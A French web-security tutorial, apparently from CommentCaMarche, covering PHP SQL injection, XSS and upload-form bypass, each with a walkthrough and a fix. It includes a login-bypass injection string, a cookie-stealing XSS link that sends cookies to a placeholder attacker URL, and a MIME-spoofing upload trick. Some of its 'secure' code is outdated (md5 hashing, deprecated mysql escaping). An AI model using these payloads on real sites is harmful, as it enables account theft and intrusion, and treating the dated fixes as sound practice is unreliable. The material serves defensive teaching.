PHP - Erreurs courantes (injection Sql, xss, upload)

Septembre 2016


PHP erreurs courantes [Sql, Script, upload]


Préambule

Depuis quelques années nous assistons au boom d'Internet : 1 foyer sur 2 possède une connexion haut débit et le nombre de sites présents sur la toile ne cesse d'augmenter. Internet représente de forts enjeux aussi bien financiers, culturels que commerciaux. Il est rare de croisé une personne n'ayant jamais été sur un site Web.

Nombreuses sont les personnes ayant l'envie de créer leur site par leurs propres moyens malgré le déclin des tarifs pour la création des sites Web et les efforts menés par les agences Web afin de proposer des sites toujours plus performants, adaptés au budget des consommateurs eux même restreint par la crise économique.

Cependant il ne faut pas oublier que le développement Web est une "discipline" relativement complexe et demande un investissement personnel considérable, ce qui peut s'avérer très rapidement un vrai casse tête lorsque l'on débute dans la matière. Cette problématique peut engendrer l'ouverture de failles de sécurité sur un site Web.

Structure et objectifs de cet article

Cet article se compose de 3 sections techniques (injections SQL, failles XSS, piratage de formulaire d'upload). Bien qu'il n'ait pas vocation à fournir une méthode de piratage chaque section sera accompagnée d'un exemple "pas à pas" illustrant un piratage possitlbe suite à une mauvaise programmation. Le but étant principalement de proposer une solution sécurisée contre différents types d'attaques. Bien évidemment l'article ne décrira pas toutes les façons possibles et imaginables de pirater un site. Néanmoins l'exemple qui illustrera chaque section sera clair avec code à l'appui et permettra de comprendre le principe et surtout de proposer un moyen de s'en prémunir.

A qui s'adresse cet article ?

Cet article s'adresse à toutes les personnes désirant créer un site Web présentant un minimum de fonctionnalités techniques tel que "système de login / mot de passe, moteur de recherche, formulaire". Il s'agit donc d'interfaces où l'utilisateur a la possibilité d'interagir, bien plus qu'avec la souris.

Quel type de site s'expose à des risques de piratage et pourquoi ?

Les sites les plus exposés aux failles de sécurité sont souvent les sites E-commerce (boutique en ligne) et les sites sur mesure (site de rencontre, site communautaire, forum, ...).

Pourquoi ?
Tous ces types de sites contiennent des formulaires destinés à être rempli par des utilisateurs. Il faut garder à l'esprit que via ces formulaires l'utilisateur envoie des données vers votre site dont vous ne connaissez pas l'origine. Ces même données seront dans la plupart des cas stockées directement dans une base de données pour être ré affichées ou non sur le site. Moralité : l'utilisateur contribue au développement de votre site et les données passées dans les formulaires peuvent être malveillantes (HTML, JavaScript, SQL, AJAX, ...).

Injections SQL

Définition injection SQL

Une injection SQL représente le fait d'insérer une portion de langages SQL (Structured Language Query) non désirée au sein d'une requête SQL initiale. Cette pratique est couramment utilisée pour "passer" un formulaire de login, récupérer plus de contenu que le site ne veut en afficher ou encore soutirer subtilement des informations diverses.

Principe injection SQL

Nous allons voir un exemple extrêmement simple permettant de passer un formulaire de login mal contrôlé (ne pas hésiter à télécharger et tester l'exemple). Le niveau de compétence en SQL & PHP pour comprendre cet exemple n'est pas très élevé mais demande quand même une petite connaissance des requêtes basiques de type SELECT en SQL.
Le passage d'un formulaire est très simple. Ne connaissant pas le nom d'utilisateur ni son mot de passe, l'idée est de trouver un moyen d'insérer une égalité au sein de la requête SQL initiale afin que celle ci retourne un résultat quelconque.

Exploitation injection SQL

Rien de tel qu'un petit exemple pour illustrer tout ça. Amateurs développeurs préparez vous, ce qui suit est très important et peut paraître déroutant au début si vous ne connaissez pas très bien le SQL (n'hésitez pas à vous mettre à jour sur un tutoriel (pour commencer, les exemples de requêtes sont assez simple).
Requête SQL permettant d'interroger une base de données dans le but de valider ou non un login et un mot de passe :

SELECT user_login FROM user WHERE user_login='login' AND user_password='password'

Code PHP permettant de valider ou non l'authentification d'un utilisateur présentant une faille d'injection SQL :

#@description : fonction permettant de savoir si un utilisateur est valide ou non par rapport à son login et mot de passe
#@param :
# string : $s_login => login entré dans le champ login du formulaire de login
# string : $s_password => mot de passe entré dans le champ password du formulaire de login
#@return :
# boolean : true si le couple login/mot de passe est valide sinon false
#@used : index_injection_html.php
function b_login_injection($s_login, $s_password) {
global $s_query;
$s_query = "SELECT user_login FROM eis_user WHERE user_login='".$s_login."' AND user_password='".md5($s_password)."' ";
return (mysql_num_rows(mysql_query($s_query)) == 1)?true:false;
}


Petit + : noter la convention de développement utilisée ici (nom des variables et fonctions en minuscules précédé d'une lettre définissant le type de variable ou type retourné par la fonction (b_login : retourne un booléen, $s_login : contient une donnée de type string (chaine de caractères) et commentaires au dessus de la fonction (très utile pour la reprise de projet, ou lorsque l'on se replonge dans un code quelques mois, années plus tard).

La fonction suivant retournera true (vrai) si le login et mot de passe sont corrects, dans le cas contraire elle retournera false (faux).
Reprenons maintenant notre requête de base, sauf qu'au lieu d'entrer un login et un mot de passe lambda dans le formulaire de login cette fois ci nous allons entrer en login "inject'='inject' LIMIT 0,1 - fin !" et en mot de passe "n'importe quel mot de passe ira très bien de toute façon cette partie de la requête est en commentaire!".
La requête SQL ressemblera donc à ca :
SELECT user_login FROM user WHERE user_login='inject'='inject' LIMIT 0,1 - fin !'  AND user_password='n'importe quel mot de passe ira très bien de toute façon cette partie de la requête est en commentaire!'

Résultat : la requête va aller chercher dans la table user s'il y a un login nommé "inject" égale à lui même. Vous l'aurez vite compris inject=inject représente une égalité donc OUI cette requête retourne des résultats. (Vous pouvez faire le test en faisant une requête type [SELECT * FROM user WHERE 1=1]
Explications
  • Pourquoi LIMIT 0,1 : Limite est une clause SQL permettant de limiter le nombre de résultat retourné par la requête, en l'occurrence LIMIT 0,1 retournera 1 résultat (ce qui est parfait puisque la fonction b_login retourne true uniquement si le nombre de ligne retourné par la requête est égale a 1.
  • Pourquoi le signe « -- » : l'instruction - permet d'écrire un commentaire ce qui signifie que tout ce qui se trouve derrière - ne sera pas interprété par le moteur SQL.

Si on à bien compris le principe on voit tout de suite que la requête qui sera exécutée en réalité sera :
SELECT user_login FROM user WHERE user_login='inject'='inject' LIMIT 0,1

La requête retournera donc 1 résultat donc la fonction b_login retournera true.
Petit + : Ne laissez jamais le login / mot de passe d'un administrateur en premier enregistrement d'une table car si le code présente un risque d'injection dans un formulaire de login alors le pirate sera authentifié en tant qu'administrateur et selon le fonctionnement du site (gestion des droits) le pirate dans certain cas pourra voir apparaître sur sa page un lien "Administrer le site" ce qui lui donnera l'accès au "<ital>backoffice" du site (interface de gestion) et lui permettra peut être d'exploiter d'autre failles afin d'envoyer directement des fichiers PHP sur le serveur (avec ces fichiers PHP il pourra interroger directement le serveur (via command exec) et pourquoi pas récupérer le contenu du serveur en créant un fichier ZIP d'un dossier souhaité dans un dossier accessible sur le web (mixe de commandes shell tels que ls, tar, zip...))</ital>

Protection injection SQL

Se protéger ? Bien sur, mais qu'est ce qui cloche ?
L'exemple simple ci-dessus montre qu'avec le caractère « ' »(simple quote) on peut "couper" la requête pour ensuite la modifier comme on le souhaite. Le problème vient du fait que l'on n'a pas protéger ce caractère. En effet pour pouvoir utilisé des \ (antislash) ou des ' (simples quotes) dans la valeur d'une chaine de caractères, on a besoin de rajouter un « \ » devant autrement dit il faut échapper ce caractère (pour ne pas le prendre ne compte).

Avec PHP il y a une multitude de fonctions permettant d'échapper ce genre de caractères (strreplace, stripslashes ...) mais pour une meilleure pratique on va s'intéresser à la fonction prévue exprès pour ca : soit mysql_real_escape_string() dans le cas d'une utilisation d'une base de données MySql (utilisez intval pour les type numérique).

La fonction mysql_real_escape_string a pour but de transformer un chaine de caractères type inject'='inject' - en inject\'=\'inject\' - (noté que cette fonction protège aussi les \ (les plus malins se voient déjà envoyer le code hexadécimal du caractère ' (quote) mais non ça ne passera pas). A savoir aussi que cette fonction génère une alerte si aucune connexion n'est trouvée (contrairement à stripslashes ou strreplace ou autres techniques).

Voilà ce que donnerais l'exemple précédent sans vulnérabilité d'injection SQL

/*
@description : fonction permettant de savoir si un utilisateur est valide ou non par rapport a son login et mot de passe
@param :
string : $s_login => login entré dans le champ login du formulaire de login
string : $s_password => mot de passe entré dans le champ password du formulaire de login
@return :
boolean : true si le couple login/mot de passe est valide sinon false
@used : index_injection_html.php
  • /function b_login_securiser($s_login, $s_password) { global $s_query; $s_query = "SELECT user_login FROM eis_user WHERE user_login='".mysql_real_escape_string($s_login)."' AND user_password='".mysql_real_escape_string(md5($s_password))."' "; return (mysql_num_rows(mysql_query($s_query)) == 1)?true:false; }


Restons sur l'exemple précédent et admettons que l'on ré injecte dans le formulaire les mêmes données.
La requête SQL ressemblera donc à ça :
SELECT user_login FROM user WHERE user_login='inject\'=\'inject\' LIMIT 0,1 - fin !'  AND user_password='n\'importe quelle mot de passe ira très bien de toute façon cette partie de la requête est en commentaire!'


Résultat : la requête va aller chercher dans la table user si il y a un login nommé « inject'='inject' LIMIT 0,1 - fin ! » et un mot de passe égale à « n\'importe quel mot de passe ira très bien de toute façon cette partie de la requête est en commentaire ! »
Dans ce cas la le contrôle du login/mot de passe est sécurisé et la requête SQL ne pourra pas être modifiée et retournera 0 résultat la fonction b_login renverra donc false.

Conclusion injection SQL

La protection contre les injections SQL (qui passe par l'échappement des caractères spéciaux tel que \ ou ' (quote) ...) est une nécessité, malheureusement de nombreux sites sont encore vulnérables à ce genre d'attaques. Pourtant la protection de celle-ci pour un développeur ne demande que quelques secondes comme on l'a vu plus haut et est indispensable ! Le processus de sécurisation d'un site web ne doit pas être prit à la légère. D'autant plus que ce genre d'erreurs peut coûter énormément d'argent et plus à un site Web. En effet ce genre de trou de sécurité peut permettre à un pirate dans certains cas (en exploitant plusieurs erreurs faites lors de la phase de développement) de s'infiltrer sur un serveur et commencer à s'attaquer aux autres sites hébergés sur la même machine. Les données des utilisateurs alors censés être confidentielles ne le sont plus.... Les exemples d'exploitation sont volontairement limités car ils n'ont pas pour vocation d'instruire au piratage mais il faut savoir qu'avec un peu de jugeote et de solides connaissances en SQL il est possible d'aller très loin en partant d'une toute petite injection SQL.

Ressources injection SQL

Wikipedia :ressource injection SQL
PHP : ressource mysql_real_escape_string

XSS

Définition XSS

XSS : cross-site scripting, représente le fait d'injecter du code HTML, javascript ... au sein du page Web via un formulaire ou encore une URL contenant du javascript ré encoder afin de berner l'utilisateur.

Principe XSS

Le principe est très simple et ne demande pas beaucoup de connaissances en développement, de simple pré requis en HTML, PHP et Javascript permettent de voler rapidement des informations tel le cookie contenant les paramètres de connexion d'un utilisateur via une redirection JavaScript. Ces informations pourront servir plus tard à se connecter sur le compte d'un utilisateur sans login ni mot de passe. La première idée consiste à envoyer du JavaScript dans un formulaire dont les informations seront ré affichées sur le site (par exemple un profil). Une deuxième idée un peu plus compliquée à mettre en pratique (car la faille XSS laisser sur le site est moins exploitable), consiste à envoyer un lien (généralement encodé pour être plus discret) à un utilisateur d'un site pointant sur une URL de ce même site dont la page ré afficherait les informations passées en paramètres (par exemple un moteur de recherche qui après validation du formulaire ré affiche le texte de la recherche).

Exploitation XSS

Un exemple que l'on retrouve sur beaucoup trop de sites : un moteur de recherche qui affiche les informations de la recherche après validation du formulaire. Dans ce cas lorsque les données de l'utilisateur sont bien contrôlées mais qu'elles sont ré affichées sans aucun traitement et que l'on injecte dans le formulaire du code JavaScript tel que
<script>alert('test injection JS'); </script>

après validation de celui ci, au rechargement de la page, quand le contenu de la recherche sera affiché alors le code JavaScript sera exécuté. Dans ce cas là il affichera une alerte (boîte de dialogue) avec le message "test injection JS". Imaginons maintenant que dans ce même formulaire on injecte
<script>alert(document.cookie);</script>

C'est déjà plus problématique car le contenu des cookies rattachés au site sur lequel nous sommes est affiché. Là il devient intéressant de regarder l'URL de la page pour souvent y voir quelques choses qui ressemble à cela :
monurl.com?search=<script>alert(document.cookie);</script>Lien</a>

Comme on peut le voir la recherche faite via le formulaire de recherche se retrouve en valeur d'un paramètre de l'URL. Imaginons maintenant un petit malin nous envoyant sur notre boite mail par exemple un lien formé comme cela :

<a href=http://www.monurl.com?search=<script>window.location=http://url_de_mon_site_qui_va_recuperer_le_cookie?cookie_voler=document.cookie</script>


On comprend tout de suite que lorsque l'on va cliquer sur ce lien on va atterrir sur la page du site initial (avec le moteur de recherche) celui ci va exécuter le code JavaScript passé en valeur du paramètre (search=). Dans cet exemple le code JavaScript effectue une redirection vers un site pirate (window.location=url_de_mon_site_qui_var_recuperer_le_cookie) avec en paramètre le cookie de l'utilisateur (cookie_voler=document.cookie) qui aura cliqué sur le lien. Le site pirate n'aura plus qu'a enregistré ce cookie pour le réutiliser quelques mois après...
Dans cet exemple une action de l'utilisateur cible est nécessaire mais imaginons que nous puissions rentrer dans la description de notre profil cette même ligne de JavaScript ... alors chaque personne visitant le profil sera redirigée vers le site pirate et enverra gentiment le cookie au malfaiteur.

Protection XSS

Tout comme les injections SQL il est très simple de se protéger de ce type d'attaques. Le problème principal est que le pirate mal intentionné se débrouille pour faire exécuter du code JavaScript à un utilisateur. Dans les 2 exemples présentés précédemment les méthodes pour se protéger sont similaires. PHP propose des fonctions permettant d'anéantir le fonctionnement des balises (<script>, <u> ...) ou de carrément les supprimer.
Pour cela, on dispose des fonctions telle que strip_tags qui a pour but de supprimer complètement les balises HTML (à éviter car strip_tags fonctionne de façon inattendu dans certains cas (imbrication de balises html avec rajout de '>' ou autre) ) et htmlspecialchars qui convertit les caractères spéciaux (quote, <, >) en entité HTML ce qui permet d'avoir à l'écran l'affichage des balises sans quelles soient pour autant interprétées.

Mais où utiliser ces fonctions ?
  • Avant l'affichage d'une donnée type texte (text, varchar ...) émanant de la base de données.
  • Avant l'affichage d'une recherche émanant d'un formulaire.


Quelques exemples pour mieux comprendre le principe :

print " <script>alert('injection JS');</script> ";     
print htmlspecialchar("<script>alert('injection JS');</script> ");
print htmlentities(" <script>alert('injection JS');</script> ");


Il est rapidement visible que la 1ère ligne va exécuter le code javascript et afficher une alerte tandis que la 2ème ligne supprimera les balises pour juste afficher sur la page «injection JS » alors que les 3èmes et 4èmes lignes afficherons sur la page <script>alert('injection JS')</script>

Conclusion XSS

De nombreux sites sur la toile présentent encore ce genre de failles de sécurité à différents degrés comme il a été expliqué dans cette article (moteur de recherche, profil). Pourtant, il est très simple et très rapide de se prémunir de ce genre de failles. Tout comme la protection contre les injections SQL, un simple appel de la bonne fonction au bon endroit suffit pour éviter les effets néfastes que ce genre de failles de sécurité peut engendrer pour les utilisateurs d'un site Web et son propriétaire. Certains sites ne jugent pas nécessaires de protéger leur moteur de recherche jusqu'au jour où...
Les pirates sont très intelligents et savent rester discrets, il ne faut pas attendre que le site soit piraté avant de s'en inquiéter car il peut se passer des années avant que le propriétaire s'en aperçoive, il y a donc un réel travail à faire en amont avant qu'il ne soit trop tard.

Ressources XSS

Wikipedia : Faille XSS
PHP : strip_tags
htmlspecialchars
htmlentities

Formulaire d'upload

Définition formulaire upload

Un formulaire d'upload est un formulaire permettant d'envoyer des fichiers sur le serveur d'un site Web telles que des images, des fichiers Word, Excel.... Utilisé par un pirate, l'envoie de fichier sur site via formulaire est de loin le moyen permettant de faire le plus de dégâts. Dans le cas où son contrôle serait négligé ou mal réalisé, celui ci offre la possibilité d'envoyer des fichiers PHP directement sur le serveur et fournit au pirate une passerelle d'accès direct sur le serveur qui héberge le site.

Télécharger l'exemple du piratage d'un formulaire d'upload


Principe de piratage d'un formulaire upload

La méthode la plus couramment utilisée pour faire passer un script PHP sur un serveur via un formulaire d'upload est l'usurpation du type MIME (Internet Media Type ou encore content type), le renommage futé d'un fichier (monfichier.jpg.php), l'utilisation du nul byte (\0 / %00) ou encore la modification de l'header dans un fichier, des bits indiquant le format, ....

Exploitation piratage d'un formulaire upload

Tout les cas ne seront pas expliqués. Dans cet exemple sera traité le passage de fichier PHP via usurpation du content type. Le code ci dessous à été récupéré sur : http://phpcodeur.net/articles/php/upload (Dans cet article le code protège bien la faille du nul byte via une regex, vérifie bien le type MIME mais le contrôle n'est pas suffisant, l'envoie d'un fichier PHP est donc pas très compliqué.

if( isset($_POST['upload']) ) // si formulaire soumis     
{
$content_dir = 'upload/'; // dossier où sera déplacé le fichier
$tmp_file = $_FILES['fichier']['tmp_name'];
if( !is_uploaded_file($tmp_file) ) {
exit("Le fichier est introuvable");
}
// on vérifie maintenant l'extension
$type_file = $_FILES['fichier']['type'];
if( !strstr($type_file, 'jpg') && !strstr($type_file, 'jpeg') && !strstr($type_file, 'bmp') && !strstr($type_file, 'gif') ) {
exit("Le fichier n'est pas une image");
}
// on copie le fichier dans le dossier de destination
$name_file = $_FILES['fichier']['name'];
if( !move_uploaded_file($tmp_file, $content_dir . $name_file) ) {
exit("Impossible de copier le fichier dans $content_dir");
}
echo "Le fichier a bien été uploadé";
}

La démarche pour passer se contrôle de formulaire est très simple. Il existe plusieurs façons d'altérer les données : une solution très simple consiste à utiliser un plugin Mozilla appelé "tamper data" aillant pour but de modifier les données qui transitent entre la page et le serveur lors d'une soumission de formulaire. Une fois l'altération démarrer dans le plugin et le fichier PHP soumit via le formulaire on peut observer dans tamper data que les données transmissent sont :


 -----------------------------74702573920666\r\nContent-Disposition: form-data; name="photo"; filename="index.php.php"\r\nContent-Type: application/x-httpd-php\r\n\r\n


En effet, si l'on ne touche à rien et que l'on laisse la requête HTTP se poursuivre normalement alors le code suivant aura l'effet souhaité soit d'arrêter le script et afficher le message d'erreur. Le fichier n'est pas une image.
$type_file = $_FILES['fichier']['type'];     
if( !strstr($type_file, 'jpg') && !strstr($type_file, 'jpeg') && !strstr($type_file, 'bmp') && !strstr($type_file, 'gif') ) {
exit("Le fichier n'est pas une image");
}



Mais certains utilisateurs mal intentionnés n'hésiteront pas à remplacer Content-Type: application/x-httpd-php par Content-Type:image/jpeg. Là, tout le monde comprend que le code n'affichera pas d'erreur car le content type est bien de type jpeg alors que le fichier envoyé est un fichier PHP. Télécharger l'exemple tout est expliquer pas à pas avec des captures d'écran.

Protection piratage d'un formulaire upload

Formulaire d'upload = danger !! Il peut être utile dans certains cas de bien contrôler le fichier envoyé :
  • Le type MIME (pourquoi pas ...)
  • Le header (pourquoi pas ...)

Mais surtout :
Bien tester l'extension du fichier (la dernière) avec des fonctions reverse (strrpos ou strrstr)
Il est impérative de renommer le fichier envoyé (ex : fichier_15_01_2011_10h30_utilisateur.jpg).
Pour une image : la redimensionner (copy pixel par pixel).
Exemple de code sécurisé

if(isset($_POST['upload_secure'])){
if (isset($_FILES['fichier'])) {
unset($erreur);
//Extension autorisé
$extensions_ok = array('png', 'gif', 'jpg', 'jpeg', 'JPG', 'bmp');
//Chemin du dossier image
$dest_dossier = 'C:\\wamp\\www\\upload\\';
// vérifications
if( !in_array( substr(strrchr($_FILES['fichier']['name'], '.'), 1), $extensions_ok ) ) {
$erreur = 'Le fichier n\'est pas une image';
}
// copie du fichier
if(!isset($erreur)) {
/* recup l'extension du fichier */
$i_pos_point = strrpos($_FILES['fichier']['name'],'.');
$s_extension = substr($_FILES['fichier']['name'], $i_pos_point ,strlen($_FILES['fichier']['name']) - $i_pos_point);
//renome le fichier envoyé avec la bonne extension
$dest_fichier = date('Y_m_d_H_i')."nom_user".$s_extension;
// formatage nom fichier
move_uploaded_file($_FILES['fichier']['tmp_name'], $dest_dossier . $dest_fichier);
//a ce moment la il peut être intéressant d'ouvrir le fichier et s'assurer qu'il n'y a pas de code a l'interieur.
//Une bonne pratique pour les images est de la redimenssioner (ca evitera les problèmes de sécurités et d'intégration HTML
print "Fichier bien enregistré sous le nom de " . $dest_fichier;
}
}
}

Il existe beaucoup de possibilités pour sécuriser un formulaire d'upload que se soit dans le cadre d'un upload d'image ou encore un upload de fichier (un exemple tout bête consiste à ouvrir le fichier (fopen, file) et à vérifier l'absence de balise <?php <? ?> dans le fichier).

Conclusion piratage d'un formulaire upload

Contrairement aux failles XSS et SQL un upload de fichier en PHP est plus difficile à sécuriser et demande plus de compétences techniques. Un site présentant des failles de sécurité au niveau de l'upload se fera pirater à la 1ère occasion, offrira le plein pouvoir sur votre site mais aussi sur tout le serveur en fonction des paramètres de configuration (PHP : utilisation des commandes exec, shell_exec ...). Ce genre de failles est souvent présent dans les interfaces d'administration (back office) et application Web car les développeurs partent du principe qu'un backoffice est un endroit sécurisé et utilisé uniquement par les administrateurs mais attention au jour ou un pirate réussira à s'infiltrer sur l'interface ...
N'oubliez pas que l'upload de fichiers exécutables ou des envois répétitifs pourraient engendrer un déni de service, dont les conséquences pourraient s'avérer importantes en cas de pertes financières.

Ressources piratage d'un formulaire upload

http://www.vulgarisation-informatique.com/upload-php.php (Je vous conseille de bien lire la fin de l'article.)

Récapitulatif rapide

  • Se protéger des injections SQL : mysql_real_escape_string() (pour un string) et intval (pour un int)
  • Se protéger des injections HTML/JS ... : htmlspecialchar().
  • Verrouiller son formulaire d'upload : renommer le fichier envoyé & test de l'extension, enlever les caractères spéciaux via une regex

Conclusion

Cet article présente quelques failles de sécurité, les exemples donnés peuvent être dérivés à volonté et il en existent des tas d'autres. Le système 100% sécurisé n'existe pas, d'autant plus qu'aux failles liées aux erreurs de développement se rajoute les failles liées aux serveurs (Web, smtp, pop, ftp...), aux systèmes d'exploitations ainsi qu'à la naïveté des utilisateurs. Pour le web la règle d'or est de ne jamais faire confiance à l'utilisateur et aux données qu'il transmettra à un site Web.

A voir également :

Ce document intitulé «  PHP - Erreurs courantes (injection Sql, xss, upload)  » issu de CommentCaMarche (www.commentcamarche.net) est mis à disposition sous les termes de la licence Creative Commons. Vous pouvez copier, modifier des copies de cette page, dans les conditions fixées par la licence, tant que cette note apparaît clairement.